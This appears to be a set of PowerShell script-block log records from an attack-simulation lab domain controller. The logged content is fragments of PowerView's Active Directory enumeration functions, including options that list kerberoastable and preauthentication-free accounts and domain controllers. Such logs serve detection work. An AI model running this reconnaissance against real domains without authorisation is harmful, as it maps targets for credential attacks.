Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Spcb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118505Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1048
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects incb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118504Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local948nvert-DNSRecord to try to convert the binary DNS record blobs.
.PARAMETER ZoneName
Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
.PARAMETER Domain
The domain to query for zones, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDNSRecord -ZoneName testlab.local
Retrieve all records for the testlab.local zone.
.EXAMPLE
Get-DomainDNSZone | Get-DomainDNSRecord
Retrieve all records for all zones in the current domain.
.EXAMPLE
Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
Retrieve all records for all zones in the dev.testlab.local domain.
.OUTPUTS
PowerView.DNSRecord
Outputs custom PSObjects with detailed information about the DNS record entry.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSRecord')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$ZoneName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsNode)'
'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
else { $Results = $DNSSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
try {
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName
# convert the record and extract the properties
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
# TODO: handle multiple nested records properly?
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
}
else {
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
}
if ($Record) {
$Record.PSObject.Properties | ForEach-Object {
$Out | Add-Member NoteProperty $_.Name $_.Value
}
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
$Out
}
catch {
Write-Warning "[Get-DomainDNSRecord] Error: $_"
$Out
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
}
}
$DNSSearcher.dispose()
}
}
}
function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainController {
<#
.SYNOPSIS
Return the domain controllers for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain
.DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
to search for domain controllers.
.PARAMETER Domain
The domain to query for domain controllers, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER LDAP
